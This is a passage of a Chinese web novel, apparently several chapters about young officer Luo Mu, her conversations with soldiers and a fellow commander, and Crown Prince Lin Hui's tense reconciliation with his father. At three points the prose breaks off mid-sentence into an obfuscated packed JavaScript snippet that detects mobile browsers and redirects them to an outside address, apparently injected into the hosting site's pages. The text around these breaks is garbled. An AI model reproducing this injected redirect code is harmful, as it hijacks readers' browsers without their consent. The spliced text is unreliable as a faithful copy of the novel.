“情感上我希望多多益善,但出于同情心我希望人数能均衡一点,这样没押我赢的人不用因为请客而倾家荡产。” “连长你这么有自信?那真是太好了。实话实说,虽然大家很佩服你,可赌你赢的人确实不多,也就二分之一。毕竟你……”吴肖利。 “我还是太像查户口的了对吧。”洛暮顺口道。 “求连长不要再提这个了。”吴肖利俊脸通红,说,“好吧,确实是因为你看着不像是非常善于军事的人,比如说个头啊什么的。当然做军官不一定要军事好。” 洛暮笑了:“以貌取人啊,那你怎么还赌我赢?实在是感动不已。” “不知道,大概是我觉得连长很值得信任,而且也就请吃顿饭喽,要不了多少钱。”吴肖利说,这倒很像是家境殷实的富二代会说的话。 “拿出点信心,到时候你一定会得到顿免费的大餐,不过时间还早,怎么说也要等到下个月了,筹备它很复杂的。说来你不早点休息吗,熬夜容易一头猝死在训练场。”洛暮说。 “现在才几点!我给女朋友写封信再睡觉。”吴肖利说。 洛暮笑了:“真是个情种,多写点,到前线后就不容易寄出去了。” 吴肖利没忍住,问:“连长你不再问点什么吗?” “啊……我还挺喜欢听年轻人的爱情故事,你要是想说的话不如讲讲?” 洛暮真的很想笑,吴肖利就是那种话痨吧,只要见到人就想多说几句,难怪整个连都知道他的女朋友。估计他遇到所有人都要拉住他们讲一下自己的爱情故事,不管别人爱不爱听。热恋中的人都是这样吗?想把自己和恋人的一切昭告天下,让全世界见证他们的爱情。 说实话她还真不好奇。洛暮没那么关注旁人的感情和生活,但如果有人要和她分享自己的生活,她也不会拒绝。这给人一种她非常善于倾听的错觉,其实她只是不在乎——反正现在回去不想干那些正事,听听又何妨呢? “哎呀,其实说来也没什么惊心动魄的情节。我和她是高中同学,还是同桌。日久生情,日久生情连长你知道吧。”吴肖利说。 “懂,校园爱情,青春少艾,最是浪漫。”洛暮露出心领神会的笑容。 吴肖利脸红了,他提起心上人时就一个劲笑,这时候看上去倒没那么机灵,只是个傻里傻气的帅气男孩。他滔滔不绝地称赞起自己的女朋友来:“她很漂亮,性格又温柔,最重要的是只有她愿意听我说些没边没界的话!我当时就觉得要是能追到这种女孩该多幸福啊。” 洛暮不禁微笑,如果陈砚泽在就会说洛暮这个笑容很熟悉,往往出现在她看《堂吉诃德》时。这本书还是她们一起看的,两个女孩从校图书馆的角落翻出这本前文明留下的书籍,看得昼夜颠倒,忘乎所以。 那段时间陈砚泽自封为堂吉诃泽,任命洛暮为仆从桑暮,天天以主人的身份自居,张口就是:“桑暮,你就是这样对待你的主人吗,还不快去给我买杯奶茶?不然就收回你海岛总督的职位!” 洛暮也装腔作势道:“对不起,堂吉诃泽,我从来没听说骑士守则里有准许你喝奶茶这一条。” 《堂吉诃德》是真的很有意思,书里那个疯疯癫癫的家伙做了不少蠢事,令洛暮为之开怀。就像现在她听到爱情、温柔、缱绻这些词一样,忍不住就想要大笑,可惜碍于场面只能微笑。 “而且她也很优秀。在高中时我是年级第一,她是年级第二。真的,她简直就是完美,我想象不了世界上还有比她更好的人。”吴肖利还在夸赞自己的女友。 “有这样的佳人相伴你还舍得来参军,真是志存高远。参军前和女朋友道别了吗?”洛暮问。 “当然,这个不可能不告诉她的,她说会等我!我们的感情很牢固,就算分开久一点也不会怎么样。唉,天下怎么会有这么好的女孩。”吴肖利提起这件事依旧很感动。 洛暮耐心地听吴肖利讲他的爱情故事,恰到好处地抛出问题,和人交流越多才能更清晰地认识对方,她这方面做得一向不错。 受她倾听的态度鼓舞,吴肖利从两人相遇讲到暗生情愫,从写的第一首情诗说到从军营寄出去的信。好几次他差点就要高声朗诵那些情诗了,年轻英俊的士兵容光焕发,满脸陶醉。 洛暮频频点头,心说果真是涉世未深的小孩子,不懂得藏住事情。他们总是冒冒失失粗枝大叶,有一点心事恨不得给所有人倾诉。她这么想的时候,全然忘记了自己还比吴肖利小半岁。大概对于洛暮 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洛暮停住脚步,声音明显是带着笑的,听上去完全没有被冒犯的感觉。她说:“肖利,想多了吧。这怎么可能?答案当然是没有喽。” 她说出这句话时,阿纳斯塔西亚的另一个青年也正给出同样的答复:“不,妈妈。你多想了,我没有喜欢的人。” 现在的阿纳斯塔西亚正处于白天,林晖在皇宫里与母亲共进午餐。皇后是个有情调的女人,她并未把自己的宫殿布置得富丽堂皇,反而是尽可能从细节处体现家的温馨。譬如墙上色彩明丽的油画、质地柔软绣着花边的桌布,阳光能照到的小几上,金鱼正在水藻里游动。 这些细微的地方无不透露着女主人的别出心裁。她出身名门,品味高雅,待人亲和,具备几乎所有传统意义上的女性魅力。无论是皇帝还是太子,都对她无比尊重。因此当皇后问起林晖的感情问题时,林晖没有像他这个年纪的男孩一样过于不耐。 “那舞会上邀请的是谁呢?”皇后笑吟吟地问。 “同学而已。妈妈,不要再问了。”林晖无奈地说。 “唉,好吧。你们年轻人的心事,我问多了还会被讨厌。”皇后有些失望。 他们相对无言。林晖默默地吃着午餐,觉得什么都嚼之无味。 他和洛暮之间的联系在舞会后不复存在。那个夜晚,那些过去好像都被默契地封存了。几乎没人知道他们有过交集,只要当事人不开口,洛暮和林晖就永远都是陌生人。 但显然两人都对这段友情守口如瓶。 没人知道林晖渴望从其他人那里听到洛暮的名字,他内心深处也渴望同别人说起洛暮。他有时会不经意扫过桌角摆放的毕业照,照片里离他很远的位置上,那个女孩正在冷冷地微笑。 这不免让他想起军校集体活动里的洛暮,她也总是站在远离人群的地方,噙着微笑却……心事重重的样子。 “你们这顿饭再加一个人如何?”一个低沉有力的声音从门口传来。 18. 少年心事(二) 皇后惊喜地望向他,问:“居然散会了吗,我还以为你没时间回来。” 林晖也站起来,向来人问好:“父亲。” “当然要回来。难得有时间聚在一起,陪你们吃个午饭。你们刚才在聊什么?”皇帝用力地搭住林晖的肩膀,让他坐下。这个动作让林晖的表情有些错愕。 “聊林晖喜欢的女孩。”皇后笑意盈盈道。 “哦?竟然还有这回事。我以为林晖对这方面没什么兴趣,格林家的小姑娘不是一直缠着他,是她吗?”皇帝问。 忙于工作的男人对儿子恋情做出的猜测总是荒谬得不可思议。他应该是只知道兰尼·格林一个与林晖年纪相仿的女孩,就理所当然地拿出来询问。无非是想证明:你看儿子,我还是知道你身边一些女孩的。 林晖冷笑了,说:“怎么可能。” 皇帝沉思片刻,问:“是赵得煜的女儿吗?” “她又是谁。”林晖说。 “不要胡乱猜啦,我想是林晖毕业舞会上邀请的舞伴吧,可惜我只是听他同学说有这么一个女孩,但他们都说不上是谁。”皇后说。 他们当然说不上是谁了。林晖心想。洛暮那晚反差之大,除非和她极其相熟,否则绝不会有人联想到她是洛暮。 “是你在望渊军校的同学吧。”皇帝看着林晖。 “当然。” “我绝不反对你年轻时候体验爱情的感觉,但希望最后你找到的是合适的人。那个女孩怎么样?”皇帝说。 “只是同学。”林晖说,他的眉头皱起来,似乎是对这个问题厌倦了。 “只是同学的话,没必要这么不愿意提起。你终究是我儿子,我太了解你了。年轻人要么对心爱的人太在乎,要么装得太不在乎。”皇帝平静地说。 林晖猛地抬起头,冷冷瞪着自己父亲。 “同样,年轻人被戳穿心事后也总会恼羞成怒。璇,能给我们父子一点独处的空间吗?我很久没有和林晖聊天了。”皇帝说。 皇后叹了口气,带着侍从们退出餐厅。刚走出门,她轻轻地对自己信赖的女官抱怨道:“他为什么总是把气氛搞得这么僵,好好地吃顿饭不行吗?” 餐厅内,皇帝与太子对坐着。皇后离去后,他们间的气氛顿时冷淡下来。父子隔着一个餐桌的距离对视,简直像是谈判的两方在唇枪舌战前无声地审视敌手。 “看来是确有其事了,本来我还不太相信。”皇帝说。 “无论是不是真的,都没必要这么如临大敌吧。”林晖讽刺道。 “你非要用这种态度对我说话吗,我是你的父亲,一个父亲关怀儿子的恋爱是理所应当的事情。” “如果你只是单纯的关怀,我当然没什么意见。但如果你又要借此指手画脚的话,我就无可奉告了。”林晖强硬地说。 皇帝重重地叹了口气:“我不得不怀疑我这个父亲做得有点失败了。” “现在认识到也不算太晚。”林晖忍不住笑了,满是讥讽。 “但我只有你一个儿子,林晖。我的一切未来都会属于你,我们之间不该有太多隔阂。也许之前我确实做了些什么让你不满的事情,但你毕业了,不再是个孩子,也该理解你的父亲。我希望我们父子能够坦诚一些,让过去的事情都过去。”皇帝说。 林晖沉默了。这是他第一次听到父亲带点示弱的语气,步入少年时期后他总是打压否定林晖的一切,自私强势得更像个皇帝而不是父亲。父子每次见面之前,林晖都会打好交锋的腹稿,保证每个笑容都足够辛辣锋利。他不回皇宫,只要能在学校就在学校待。 但父亲现在突如其来的疲惫反而让他无话可说了。 “那个女孩漂亮吗?”皇帝问。 “看情况。” “性格怎么样?” “糟透了。” “那究竟喜欢她什么?” “她不适合喜欢。” “听到这句话真令人欣慰。如果你觉得她不适合你,就不该再去思考有关她的事情。” “你要是不提起,我现在就已经忘掉她了。”林晖冷冰冰地说。 “林晖,我明白你的感受。我年轻的时候也有过这种经历。遇到迷人的女孩,没有到手之前抓耳挠腮,为她牵肠挂肚。得到后你就无所谓了,她会像你小时候拆开的零食一样放几天就变得绵软无味。” 林晖不置可否地笑了笑,意思是你少拿自己来推断我。 “世界上的女孩都差不多。我倒建议你和那些贵族女孩们多认识认识,她们中间喜欢你的人不少。感情这种东西你只有体验几段后才能看透,谁适合在某段时间给你提供消遣,谁适合成为妻子乃至王妃。”皇帝说。 “这些道理我早就明白。” “世界上真理都是如此。明白的人很多,践行的人很少。一个家族的衰落往往始于继承人纵情声色,为情所困。” “少把我和那些词联系在一起!”林晖厉声道,假如说刚刚他还在极力遏制自己的不耐,现在则全然是怒气勃发了。最能激怒一个有志青年的绝非是肢体上的挑衅,而是你将他与庸俗堕落的事情相提并论。他会觉得受到了莫大的羞辱,因为这都是他平时最为轻蔑的东西。 面对儿子的怒火,皇帝显得格外平静,他说:“你不愿意成为这样的人,我很高兴。想来在感情这方面,我可以对你完全放心了?” “你从来没有任何操心的必要。”林晖说。 “实际上这些年你也很少让我操心。”皇帝低声说。 听到这话,林晖怒气稍解,语调也恢复了平时的彬彬有礼,“如果父亲是在担忧我被激情毁掉,我可以向你承诺绝不会有这样的事情发生,我清楚自己要做什么。” “林晖,你真的长大了。我承认一直以来我把你总是当做孩子看待,才总是在要在各方面干涉你,你大概早就对我怀恨在心。我无法许诺今后不会发生这样的事情,因为你不仅是我的儿子,还是帝国的太子。我的教育方式也许有些失误,让你觉得不快。但儿子,这些年里你一直都是我的骄傲,从你母亲那里听到你有喜欢的女孩时,我非常高兴。” 林晖面无表情地注视着皇帝,可那双翡翠色眼睛里却起了波澜,证明他并非无动于衷。在他记忆里父亲鲜少流露温情,今天的场面从不在他的设想之内。 林晖可以准备一万句刻薄的话去反驳皇帝,但他没法拒绝父亲开诚布公的态度。 是的,对于二十出头的年轻人来说,最让他们情难自禁的不是情人的眼波,而是父母的低头。有些人追求了一辈子不就为了这个吗,他们幻想自己飞黄腾达衣锦还乡,堂堂正正趾高气扬地回到父母身边。 结果最后故乡只剩下黄土和孤坟,沉默寡言的中年人站在墓前,身旁茫茫然立着那个满怀怨怼与孺慕的少年游子的魂魄。他们身后,漫山遍野的竹林发出呼啸。 皇帝仍在侃侃而谈,他平时说话极具雄辩力,现在也动情得让人无法拒绝:“儿子,我们为什么不能冰释前嫌?我很希望你能和我聊聊其他的话题,而不是只有学业,现在又变成了军事和政务。我看见狄格特和他父亲出席晚宴,他们亲密的样子让我嫉妒。林晖,你以后会理解我的!我感觉自己是渐渐老了,很想和你多说说话。” 听到最后一句话,林晖微微动容。他站起来,皇帝也站起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096880|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当林晖绕过餐桌站在他父亲面前时,惊讶地发现自己居然已经比父亲高了许多。皇帝现在还算强壮,林晖和他比起来有种青年的单薄。林晖默默地看着父亲光泽黯淡的黑发,那双时常迸发怒火的黑色眼睛显得疲惫安详。 这个不可一世的家伙也会老啊,林晖心想。 皇帝张开双臂,这是个需要勇气的尝试。这对父子上次拥抱在八年前,那时林晖对皇帝的称呼还是“爸爸”。后来他们关系越来越冷淡,林晖回来也是在母亲那里小坐片刻,父子间再没有亲密的接触。 林晖犹豫了一下,上前轻轻地抱住自己父亲。他们的拥抱只持续了一瞬,林晖很快就松开,退出一点距离,他还没有适应缓和的父子关系。 但皇帝显然对此很满意,他拍着林晖的肩膀,说:“好儿子!以后多记点爸爸的好吧,爸爸做的那些蠢事可以忘掉吗?” “尽量吧,爸爸。”林晖别过头,重新启用这个称呼让他有点不自在。 “今晚的宴会也和我一起出席吧!会有很多合适的小姑娘想认识你。” “没兴趣。”林晖说。 “心里还是惦记着军校那个女孩吗?她是谁的女儿?我完全可以叫内务官给她也发一份请柬。” 谁的女儿都不是,她甚至已经不在阿纳斯塔西亚了。林晖心想。他说:“没必要,她只是个普通女孩。” “好吧。走,我们去陪你妈妈,补偿她一顿午饭。” “妈妈一定会很高兴的。” 其乐融融的午餐过后,皇帝回到主殿。刚刚与继承人达成和解的他看起来神采奕奕,心情好了许多。他边笑边问自己的内务官弗雷德:“去查查那晚和林晖跳舞的女孩叫什么名字,我还真有点好奇林晖喜欢什么样的女孩。” 本来他不会关注这些小事,但才同林晖和好,他身为父亲的天性忍不住想要认识认识令儿子心动的对象。既满足好奇心,又便于以后做个参考。 弗雷德的效率很高,他将事情吩咐下去,很快就有侍从带来了回复。正当弗雷德想将打印好的资料交给皇帝审阅,门口突然传来敲门声。 “陛下,财政部长求见。” 皇帝刚刚翻开资料,立刻就放下了。他起身说:“是的,我怎么把这事忘了。让他在会客厅等一会。” 很快,大门打开了,皇帝向会客厅走去,弗雷德忠实地跟在他身后。皇帝边走边说:“看上去是个漂亮姑娘,但也没有漂亮到叫人神魂颠倒的地步。究竟是哪里迷住了林晖。” 正事面前,皇帝只是草草看了眼第一页的照片。照片是从舞会的录像中调取出来的,负责调查的人也是根据它,才能在数据库里匹配出太子殿下舞伴的真实身份。即使如此,关于她的资料依旧很少,主要还是来自望渊军校的记录。 不知道为什么,皇帝觉得那个女孩有一丝眼熟,她必定与皇帝生命中曾存在的某个人有相似之处,但他想不起来那个人是谁。如果他仔细地看完洛暮的资料,这个疑惑就能得到解答,他会重新记起遗忘的人,并惊叹命运的巧合。 但是没有。结束会谈又主持过晚宴的皇帝早就把这件事抛之脑后。资料被弗雷德收进旁边的文件袋,再也没打开,后来文件袋又进了碎纸机。皇帝错过了认识她的机会。 可无须遗憾,未来他会在战报中重新认识这个女孩,那时他不能用调笑的语气提起她,不能轻慢地忽略她的存在。 他会和阿纳斯塔西亚所有的贵族一起看着她的照片,看着这个威严气度震服宇宙的将军。那时他们不得不重视她,咒骂她。她清瘦的脸庞再也不会唤醒皇帝的记忆,因为她已然独一无二,不似任何人。 19. 初识的友人与梦醒之人(一) 洛暮从吴肖利那里离开,没有像她说的那样立刻回去休息,反而绕路走到训练场上。晚上的训练场空旷无人,她听见自己的脚步声在夜里回响。 她很喜欢独处的感觉,尽管有几个不错的朋友,独自散步依旧是她最青睐的休闲方式。洛暮找到一处台阶坐下,计算着再待二十分钟就回去休息。 “洛暮连长还不休息吗?”有人在她身边坐下。 “李秋阳连长不也还没休息吗。”洛暮说。 真稀奇,这个时间这个地点还能和同僚遇上,她的清静又没有了。 “我路过训练场,看到还有人,就过来看看。没想到是洛暮连长。”李秋阳说。 这当然是他的托词,真相是他发现住在隔壁的洛暮迟迟没有回来,抱着碰碰运气的态度在院子里转了一圈,正好看见这位新到任的同僚坐在空荡荡的训练场上,忍不住过来交谈几句。 “那是因为我不想休息,但也不想干活,这才找了个地方偷偷待着。”洛暮很自然地说。 李秋阳笑了:“今天下午看到你在给士兵上课,出于好奇听完了最后一段,讲得真好。” “我其实也看到你了,本来想着过两天找你问问改进意见。择日不如撞日,要是我讲的有什么不足尽管提出来好了,不用顾及同僚情面,我真的很想听听你的看法。” “那我也真的没有什么意见,你讲得很好,没想到你对阿德尔玛的历史这么有见解。硬要提一个不足的话,希望洛暮连长以后上课给我也通知一下,不然站在外面影响我的听课质量。”李秋阳说。 洛暮不由自主地笑了:“喂喂,这么捧场吗?你这样反倒有捧杀的嫌疑了,容易滋生我的傲慢之心!” “不过是恰如其分的赞扬,竟然被洛暮连长扣上这个罪名。说真的,你讲得比我军校的教授动听多了,我虽然是阿德尔玛人,但也第一次听这样的历史课。” “那我真要得意洋洋一会了……说起军校,李秋阳连长是哪个军校毕业的?” “东君军校。好了,不用绞尽脑汁想一些称赞的台词,我们都清楚无论怎样的军校在望渊面前都要靠后站。”李秋阳注意到洛暮的神情,微微笑了。 洛暮笑得连连摇头:“真是的,真是的,东君明明也是阿德尔玛最好的军校,你这样叫我怎么往下说才好。” 上午有营长和二连连长在场,她和李秋阳的交流不算深入。现在这一番交谈下来,她真的觉得李秋阳是个聪明剔透的人,和这种人打交道很舒服,而他偏偏还外向风趣,那聊天时的趣味还要再乘两倍。 “说什么都可以,如果洛暮连长你还有闲情逸致,不妨讲讲望渊的事情……”李秋阳说到这里微微皱眉,“总感觉这样带职务称呼很生硬,明明不是工作时间,但一听到连长这个词就神经紧绷了。” “你也这么觉得?这个简单,你直接叫我洛暮或者小洛就好了。” “那好,小洛。”李秋阳欣然道。 “我怎么称呼你呢?”洛暮认真想了想,“秋阳兄?” “当然可以,我军校的一些朋友也这么叫我,你这么一说我倒有些怀念。”似乎是想起过去的时光,李秋阳真心实意地笑了,“现在称呼问题解决了,小洛继续说说望渊的事情吧,我很想听听。” 洛暮也真心实意地笑了:“秋阳兄,你是今天第八十个让我讲望渊的人。” “有这么多?”李秋阳惊讶。 “当然没有,我只是喜欢这么说,你习惯就好。”洛暮说。 他们一起笑了,李秋阳说:“我好奇是因为当年差点就上了望渊军校,甚至已经拿到录取书了。那时候望渊的校长还是维吉尔,通知书上的签名丑得吓人。” 这下轮到洛暮惊讶:“竟然有这样的事?” 望渊前一任校长确实是维吉尔,那字也确实丑得非同凡响。以至于维克上任后学生对他唯一的好评就是:至少通知书能看了。 “是的,可惜它在阿纳斯塔西亚,最后只好放弃。其实心里还是有点遗憾,毕竟那是望渊。”李秋阳轻轻叹口气。 “不必遗憾,望渊的名声就像夜里的火车头,因为灯光和水雾而显得格外庞大,实际上它大部分的美好只是来自想象。”洛暮宽慰道,但她心说因为望渊在阿纳斯塔西亚就放弃入学那也太扯淡了吧,除非…… 仿佛知道洛暮心中的疑惑,李秋阳笑着解释:“我的母亲和弟弟都在阿纳斯塔西亚,如果我去了望渊肯定会被母亲那边留下,想回也回不来。这样我老爸在阿德尔玛就成了孤家寡人,未免太过凄惨。” 母亲和弟弟都在阿纳斯塔西亚,这个家庭背景可真是值得深究。说不定是那种贵族与军官的联姻,结果闹崩了两边各过各的,最后都在抢这个长子。 但刚刚相识,洛暮不急着探究人家的秘密,她只是笑着应和道:“原来是这样,其实也很好。听说父母一老就特别留恋孩子,有个弟弟的话两边一人一个,非常公平。” “也不公平,我弟弟是个笨蛋,把我母亲折腾得够呛。我个人觉得还是我更省心。”李秋阳很确信地说。 他们大笑起来,洛暮说:“这么不留情面吗!” “实话罢了,那个白痴在阿纳斯塔西亚养成一副花花公子的做派,我母亲管不住他。有时候他会来阿德尔玛度假,总是闹得鸡飞狗跳,让人很想打他一顿。” “真的吗,我怎么觉得你们兄弟感情不错。秋阳兄,你没发现吗,自从说起弟弟后你就一直在笑诶。”洛暮笑嘻嘻地调侃他。 “有这回事?”李秋阳条件反射地想去摸自己嘴角,但手抬起一半就放下了,“也许真叫小洛说对了。虽然瞧不上他公子哥的做派,但我们平时相处还算融洽,会一起去打球唱歌,有时候还帮他挡挡老爸的骂。快半年没见到他,居然真有点想念。” “肯定是这样啦。”洛暮笑道。 她能如此笃定是因为有陈砚泽这种真心讨厌弟弟的范例在前面。李秋阳说他弟弟时眼底带着笑意,而陈砚泽只会嘲讽地笑。她永远不会用宠溺的语气说自己弟弟是个笨蛋,她会告诉洛暮那种蠢货注定考不上大学,陈砚泽看一眼就能报出答案的题他花一个下午也做不出来,往他身上投资犹如往水里扔钱。 洛暮承认陈砚泽的弟弟确实不聪明,但也可能是陈砚泽聪明得太过突出,显得她家里人都很愚蠢。他们无法理解陈砚泽的天才之处,意识不到自己女儿具备多么惊人的天赋,未来能做出多么伟大的功业。 他们也不明白陈砚泽当初为什么力排众议跑去搞科研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“太可怕了,再说我就要晕倒了。”洛暮尴尬地说,但她立刻就反守为攻,“没关系,到时候秋阳兄也一定是将军了,我们都住在军区别墅里,你就是我的邻居,早上还能一起招呼着晨练。我想想怎么称呼你——李少将!” 李秋阳听到少将这个词顿时也脸红了:“可怕,可怕,不准说了。” “有什么不能说的,李少将,您也出来锻炼啊,这可太巧了!哎呀,昨天的军事会议你怎么看呀?照我说,就该把那些反对我们的人统统铲除,少将您看对吗?”洛暮占据上风,乘胜追击。 “不要再说了,甘拜下风,甘拜下风。果然不该和你斗嘴,这下大输特输了。”李秋阳举手表示投降。 “少将怎么这么谦虚,少将,少将!少将说句话啊,少将英明啊……”洛暮步步紧逼。 没有一个军人能在少将的称呼中维持本心,李秋阳明智地选择在迷失自我前岔开话题:“等一等,洛少将。我这有一个新的情报要和你探讨。” “李少将请说。”洛暮颔首表示许可。 李秋阳没忍住又笑出声,破功的还有洛暮。他们两个同时捂住肚子大笑起来,边笑边异口同声道:“怎么回事!怎么回事!不准再说了!不准再说了!” “明明是你起头的。”洛暮率先告状。 “是你先发扬光大的。”李秋阳不甘示弱。 “我不管,李少将。不对,李上将!”洛暮奉行攻击就是最好的防守。 “真可怕,真可怕!现在开始谁也不准说少将这个词!带将的都不准说。”李秋阳一溃千里。 他们又笑了一会,良久,李秋阳才勉强调整好表情,尽可能语气正常地说:“咳咳,不能再笑了。说正事说正事。” “好,正事正事。”洛暮说,她正用力揉着面颊,脸上的肌肉因为笑多了而酸痛不已。 “你认识苏愈吗?” 20.初识的友人与梦醒之人(二) “苏愈?”洛暮问。 “对,苏愈。” 洛暮陷入沉思,李秋阳端详她的神色,微微笑了:“看来是认识?” “不,不认识。”洛暮摇头,“但有一点印象,好像也是望渊军校的学生,不过我们不是同期。” 就算是同期也不一定认识,洛暮肯定叫不出她所有同期的名字。除了上课,大家空闲时候都各做各的事情。 “原来是这样。” “为什么突然提他?” “小洛你不知道吗,他和你一样都来了阿德尔玛。从望渊来的军官只有你们两个,不过他比你还要早一些。” 洛暮有了点兴趣:“竟有此事?” “是的,他在第一师,已经去了前线。我没和他见过,只是听说有这么一号人。刚刚想到你们都是望渊的学生,以为会是你的熟人。” “我可没那么多熟人。”洛暮笑了。 “我同学和他在同一个团,他说那是个很厉害的人,只是不爱说话。他问我望渊出身的人是不是都这样,而现在我眼前正好有一个望渊的学生,当然要抓住机会请教一下。” “哦呦,那你准备怎么答复同学。” “我准备告诉他,我们第二师的这个望渊学生是注定要做少将的,不能随便评价。”李秋阳一本正经地说。 “够啦,够啦!这样下去我就要弹劾李少将违背刚才的条约,说好的禁止少将这个词!” 他们没忍住又笑起来,洛暮笑完后抬起头说:“不过你这么一说我倒想起来了,苏愈确实是个低调内敛的人,他应该比我高一期,是他们那期的第一名。” “这不是很熟悉吗?”李秋阳笑问。 “一点都不熟悉,我和你一样全是道听途说。真正见到他的人是我舍友,我都是听她说的。”想起弗吉尼亚那晚的表现,洛暮突然笑了。 弗吉尼亚是个热爱打扮且乐于展示自己美貌的女孩,因此她从来不会缺席任何一场舞会,尤其是望渊军校的毕业舞会。反正毕业舞会允许低年级同学参与,那晚她申请到请柬后就欣然赴宴,丢下洛暮独守空房。 洛暮当时正忙着修改弗吉尼亚的战术报告作业。她登录弗吉尼亚的学员账号,看到那份从头到脚无一可取之处、百分之三百会被打回来重做的作业,冷静地点击了右下角的清空选项。 她开始重新选题,撰写大纲,分析数据,还很谨慎地换了一种叙述口吻避免老师产生怀疑。 理论上一份战术报告作业的完成时间是半个月,但现在离最后期限只剩五个小时。洛暮没有一丝慌乱的意思,她有条不紊地推进进度,还顺手问林晖要了份参考数据。 “你没写完?这不可能。”林晖很快就把数据发来了,他那边的数据总是更详实一些。 “正在替人卖命,不要打扰我。”洛暮简单地回复。 刚刚退出数据库的林晖看到这条消息忽然笑了,他今天回了王宫,不出意外地和父亲对峙了一轮,本来觉得诸事不顺心情郁郁,但现在烦恼莫名一扫而空。 洛暮继续神色凝重地赶报告,没有忘记给额头点几滴清凉油保持精神振奋,她从不喝咖啡。 弗吉尼亚回来时已经是深夜了,喝了几杯果酒还穿着礼服的女孩一进门就甩掉脚上的高跟,解散头发,卸下裙撑。完成一系列流程的她轻盈地跳到洛暮身边,搂住舍友的脖子亲了一口,语气是掩饰不住的雀跃:“小暮,你知道今晚有多精彩吗?” “不知道,但我知道你的作业非常精彩,让我劳作至今。”洛暮头也没回,她已经进行到最后一步,正在重新审阅这份已经完成的报告,确保没有任何疏漏。 “我遇上了大帅哥!” “相信我,他不会比这份作业更帅的。你的口红没有蹭我脸上吧?我已经洗漱过了。”温香软玉在怀,洛暮岿然不动,她敏锐地修改了一处格式错误。 “你就不知道有多帅!多优秀!就是我给你说过的那个,我爸爸上司的儿子,那个苏愈!” “哦——” “我就知道你也认识!”弗吉尼亚眼睛亮了。 “没有,我是在感叹这份作业简直太完美了,管教尼克那老家伙哑口无言。他总是挑我的刺,我倒要看看这次他怎么评价。” “尼克教授吗?你明明是他最欣赏的学生,他不都说了只挑你的刺吗,因为你是可塑之才。” “有这事?你快告诉他不要欣赏我了。”洛暮最后一次确认全文无误,她轻轻挣开弗吉尼亚的胳膊,腾出屏幕,“你再来看一下,然后我就提交。” 弗吉尼亚随意扫了一眼,根本没过脑子,她还满心沉浸在舞会的氛围中:“交吧,你改过的我还不放心吗,但愿这次不要被打回来了。” 洛暮点击提交的选项,此刻离截止时间恰好剩下十五分钟,就像她每次赴约一定会提前十五分钟。她扫到屏幕下方林晖的消息,他在两分钟前询问洛暮的进度。洛暮随手打了句“神功已成”就关掉聊天界面。 弗吉尼亚今晚的话格外多,大概是酒精让她变得异常兴奋:“你不知道!他有多出色,啊!小暮!他从楼梯上走下来的时候,我什么都没想,我敢发誓和我一起去的赵婉如那一刻也什么都没想,我们都说不出话来了。就那么几分钟!但我感觉过去了整整一个小时,天呐,我们脸全红了。” “有那么帅?”洛暮漫不经心地浏览网页信息,她看到左拉星近况,忍不住点进去。网页里的照片正好是她熟悉的街道,洛暮点了个赞。 “岂止是一般的帅。而且他还是这一期的第一名,优秀毕业生!不是那种水分满满的,是货真价实的。我以前只是听我爸爸说过这个人,但也是第一次见啊!我今晚要睡不着了,我太高兴了。”弗吉尼亚在宿舍里从不掩饰自己的真实形象,可怜很多男生受了她文静外表的欺骗,还为她淑女的表象神魂颠倒呢。 “那真是太棒了。”洛暮点头敷衍,她心说喝醉了的人说的话一句都不能信,听听即可,反正耳边风是洛暮最喜欢的风。 “我知道你在敷衍我。”弗吉尼亚哼哼道,她强调道,“我说的都是真话,我敢保证即使是小暮你见到他都要感叹一句完美的!” 这下洛暮真笑了:“哦,希望有那么一天,我一定会把我的反应如实反馈给你的。但我可以保证绝对不会如此。” 弗吉尼亚得意地笑了:“我敢保证一定如此。” “不,绝不。你就等着大失所望吧。”洛暮笑道。 “冷酷无情的人。”弗吉尼亚嘟囔一声,啪地扑倒在床上。 洛暮坐不住了:“这是我的床,可恶,快给我起来。没洗漱的人不能上我的床!” 弗吉尼亚已经听不到她说话了,这个女孩脸上带笑,进入了甜蜜的梦乡。洛暮琢磨着要不要把镜子搬到弗吉尼亚面前,等她醒来吓她一跳,以此作为报复。但她想了想,最后放弃这个决定。弗吉尼亚是个胆子很小的人。 今晚是不能安然入睡了,洛暮耸耸肩回到书桌,打开母亲留给她的数据盘。她随便从里面挑了本前文明的书,找了个最放松的姿势开始阅读。 弗吉尼亚醒来的时候正是半夜,她朦朦胧胧地揉揉眼睛,从床上坐起来。她注意到自己盖着被子,礼服上的宝石别针被卸下来搁在床头,别针底下是叠得方方正正的珍珠披肩。 宿舍的大灯已经熄灭了,只有洛暮书桌上的灯还亮着。她埋头在写东西,侧脸在灯光下非常温柔。弗吉尼亚倚在床头发了会呆,她完全断片了,但能凭着房间里的一切推断出刚才发生的事情。 想象到洛暮忍辱负重的样子,她忍不住笑起来。弗吉尼亚发出来的动静被洛暮注意到了,她没停笔:“立刻去洗漱。” “你又涂清凉油了?”弗吉尼亚闻到宿舍里淡淡的薄荷香。 “挑灯夜战,不得不涂,但还被一个人占据了床铺,无处入眠。” 弗吉尼亚闻言笑了,她站起来伸个懒腰,走到洛暮身边欣赏舍友潇洒利落的字体:“抱歉——小暮。” “永远不原谅你。”洛暮说。 “冷酷无情的人。”弗吉尼亚再次说出这句话,她压根不记得这是自己昏睡前最后一句话。 “我要是冷酷无情,你现在就已经收到尼克的学业警告了。”洛暮合上笔盖。 “啊!我的作业。我是不是忘了提交,不对不对,小暮你是不是替我交了?”弗吉尼亚这才反应过来,她急忙去查看手环的信息。 洛暮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 